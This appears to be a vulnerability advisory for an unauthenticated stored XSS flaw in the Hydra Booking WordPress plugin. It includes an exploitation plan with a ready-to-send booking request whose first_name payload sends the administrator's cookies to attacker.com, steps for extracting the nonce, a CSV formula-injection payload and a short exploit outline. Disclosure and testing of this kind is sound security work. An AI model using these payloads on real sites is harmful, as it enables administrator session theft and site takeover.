Hydra Booking — Appointment Scheduling & Booking Calendar <= 1.1.44 - Unauthenticated Stored Cross-Site Scripting
Description
The Hydra Booking — Appointment Scheduling & Booking Calendar plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.1.44 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.1.45
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-57388 ## 1. Vulnerability Summary The **Hydra Booking** plugin (<= 1.1.44) contains an **Unauthenticated Stored Cross-Site Scripting (XSS)** vulnerability. The flaw exists because the plugin allows unauthenticated users (site visitors) to submit booking reque…
Show full research plan
Exploitation Research Plan - CVE-2026-57388
1. Vulnerability Summary
The Hydra Booking plugin (<= 1.1.44) contains an Unauthenticated Stored Cross-Site Scripting (XSS) vulnerability. The flaw exists because the plugin allows unauthenticated users (site visitors) to submit booking requests containing arbitrary data (e.g., in name or note fields). This data is stored in the database without sufficient sanitization and is subsequently rendered in the WordPress administrative dashboard without proper output escaping.
An attacker can inject a malicious <script> payload into a booking. When an administrator views the bookings list or a specific booking's details in the plugin's backend, the script executes in the context of the administrator's session, potentially leading to full site takeover.
2. Attack Vector Analysis
- Endpoint: REST API
POST /wp-json/hydra-booking/v1/bookings/create(inferred fromRouteController.phpandMeetingController.phppatterns). - Vulnerable Parameter:
first_name,last_name, ornote(within the JSON payload). - Authentication: Unauthenticated (None).
- Preconditions: At least one "Meeting" must be created and published by an admin to serve as a target for the booking.
3. Code Flow
- Entry Point: A visitor submits a booking via the frontend form or a direct REST API request to
hydra-booking/v1/bookings/create. - Controller Logic: The
BookingController::CreateBooking(inferred) method receives the request. It usesjson_decode(file_get_contents('php://input'), true)to parse the payload. - Storage: The data is passed to the
HydraBooking\DB\Bookingclass, which inserts the record into the custom database table (e.g.,wp_tfhb_bookingsor similar, created duringMigrator::run()). The fields are stored withoutsanitize_text_field()orwp_kses(). - Trigger Point (Sink): An administrator navigates to the "Bookings" page (
wp-admin/admin.php?page=hydra-booking#/bookings). - Rendering: The admin dashboard (likely a Vue/React app) fetches the bookings via
GET /wp-json/hydra-booking/v1/bookings/lists. The raw malicious string is returned in the JSON response and rendered into the DOM (e.g., usingv-htmlor unescaped template literals).
4. Nonce Acquisition Strategy
While many REST routes in this plugin require permissions, the booking creation endpoint is designed for public use. However, WordPress REST API endpoints often require a _wpnonce for authenticated sessions or to prevent CSRF.
- Shortcode: The plugin uses
[hydra-booking]to display the booking calendar. - Page Creation: Create a page with this shortcode to ensure scripts are enqueued:
wp post create --post_type=page --post_title="Booking Page" --post_status=publish --post_content='[hydra-booking]' - Extraction: Navigate to the new page and extract the localized data.
- JS Variable (Inferred):
window.tfhb_hydra_dataorwindow.hydra_booking_params. - Nonce Key: Look for
nonceorrest_nonce. - Command:
browser_eval("window.tfhb_hydra_data?.nonce")
- JS Variable (Inferred):
5. Exploitation Strategy
Step 1: Discover an Active Meeting
First, identify a valid meeting_id.
GET /wp-json/hydra-booking/v1/meetings/lists
(If unauthenticated access to lists is blocked, the attacker would visit the public booking page and observe the meeting ID in the frontend scripts or network requests.)
Step 2: Inject Stored XSS
Submit a booking with a payload in the first_name field.
Request:
- Tool:
http_request - Method:
POST - URL:
http://localhost:8080/wp-json/hydra-booking/v1/bookings/create - Headers:
Content-Type: application/json - Body:
{
"meeting_id": 1,
"first_name": "<img src=x onerror='fetch(\"http://attacker.com/log?c=\"+document.cookie)'>",
"last_name": "Attacker",
"email": "victim@example.com",
"meeting_dates": "2025-10-10",
"start_time": "10:00 AM",
"end_time": "10:30 AM",
"time_zone": "UTC",
"note": "Please review my booking"
}
Step 3: Trigger the Payload
Wait for or trick the admin into visiting the bookings page:http://localhost:8080/wp-admin/admin.php?page=hydra-booking#/bookings
6. Test Data Setup
- Admin User: Create an admin user.
- Meeting: Create a meeting via WP-CLI or the UI to get a valid ID.
# Create a meeting post ID=$(wp post create --post_type=tfhb_meeting --post_title="Consultation" --post_status=publish --porcelain) # Set required meta for the plugin to recognize it wp post meta update $ID __tfhb_meeting_opt '{"duration":30,"meeting_type":"one-to-single"}' - Public Page: Create a page with
[hydra-booking]to simulate a live site.
7. Expected Results
- The REST API should return a success message:
{"status": true, "message": "Booking Created Successfully"}. - When the admin views the booking list, a network request to
attacker.comshould be observed, or an alert box should appear if usingalert(1).
8. Verification Steps
Verify the payload is stored in the database:
# Check the bookings table (table name based on Migrator class)
wp db query "SELECT first_name FROM wp_tfhb_bookings WHERE last_name='Attacker'"
The output should contain the raw <img ...> tag.
9. Alternative Approaches
- Field Variation: If
first_nameis sanitized, attempt injection innote,last_name, oremail(using comment syntax if needed). - AJAX Endpoint: If the REST API is restricted, check for the equivalent AJAX action:
wp_ajax_nopriv_tfhb_create_booking(inferred). - CSV Export: If the dashboard is secure, check if the plugin has a "Export Bookings to CSV/Excel" feature. Inject a CSV Injection payload (e.g.,
=cmd|' /C calc'!A0) into the booking fields to target the administrator's local machine.
Summary
The Hydra Booking plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting via the booking creation REST API. Attackers can submit booking requests containing malicious scripts in parameters such as first_name or note, which are stored without sanitization and executed when an administrator views the bookings list in the backend.
Security Fix
@@ -1,7 +1,8 @@ <?php + namespace HydraBooking\Admin; -use HydraBooking\Admin\Controller\AdminMenu; +use HydraBooking\Admin\Controller\AdminMenu; use HydraBooking\Admin\Controller\Notification; use HydraBooking\Admin\Controller\UpdateController; use HydraBooking\Services\Integrations\Zoom\ZoomServices; @@ -9,25 +10,28 @@ use HydraBooking\Migration\Migration; use HydraBooking\Admin\Controller\NoticeController; use HydraBooking\Admin\Controller\licenseController; -use HydraBooking\License\HydraBooking; +use HydraBooking\License\HydraBooking; // Load Migrator use HydraBooking\DB\Migrator; - // exit -if ( ! defined( 'ABSPATH' ) ) { - exit; } +// exit +if (! defined('ABSPATH')) { + exit; +} -class Admin { +class Admin +{ // constaract - public function __construct() { + public function __construct() + { // run migrator new Migrator(); - + // admin menu new AdminMenu(); - + // update controller new UpdateController(); @@ -39,68 +43,71 @@ // new Notification(); // activation hooks - register_activation_hook( TFHB_URL, array( $this, 'activate' ) ); + register_activation_hook(TFHB_URL, array($this, 'activate')); Migration::instance(); // license controller - new HydraBooking(); + new HydraBooking(); new licenseController(); - - add_action( 'admin_init', array( $this, 'tfhb_hydra_activation_redirect' ) ); + + add_action('admin_init', array($this, 'tfhb_hydra_activation_redirect')); // Update Existing User Role - add_action( 'admin_init', array( $this, 'plugins_update_v_1_0_10' ) ); + add_action('admin_init', array($this, 'plugins_update_v_1_0_10')); // // add dome in admin footer based one page template - add_action( 'admin_footer', array( $this, 'add_admin_footer_content' ) ); + add_action('admin_footer', array($this, 'add_admin_footer_content')); - add_action('wp_ajax_tfhb_hydra_manage_plugin', array( $this, 'tfhb_hydra_manage_plugin' ) ); + add_action('wp_ajax_tfhb_hydra_manage_plugin', array($this, 'tfhb_hydra_manage_plugin')); // send demo mail // add_action('admin_init', array( $this, 'tfhb_send_demo_mail' ) ); - + } ... (truncated)
Exploit Outline
1. Identify an active meeting ID by visiting the public booking page and inspecting frontend scripts or network requests. 2. Submit a malicious booking request via an unauthenticated POST request to the REST API endpoint: `/wp-json/hydra-booking/v1/bookings/create`. 3. Include a JSON payload containing an XSS script (e.g., `<img src=x onerror=alert(1)>`) in parameters like `first_name`, `last_name`, or `note`. 4. Wait for or trick an administrator into visiting the 'Bookings' page in the WordPress admin dashboard (`/wp-admin/admin.php?page=hydra-booking#/bookings`). 5. The malicious script executes in the context of the administrator's browser session, allowing for data theft or site modification.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.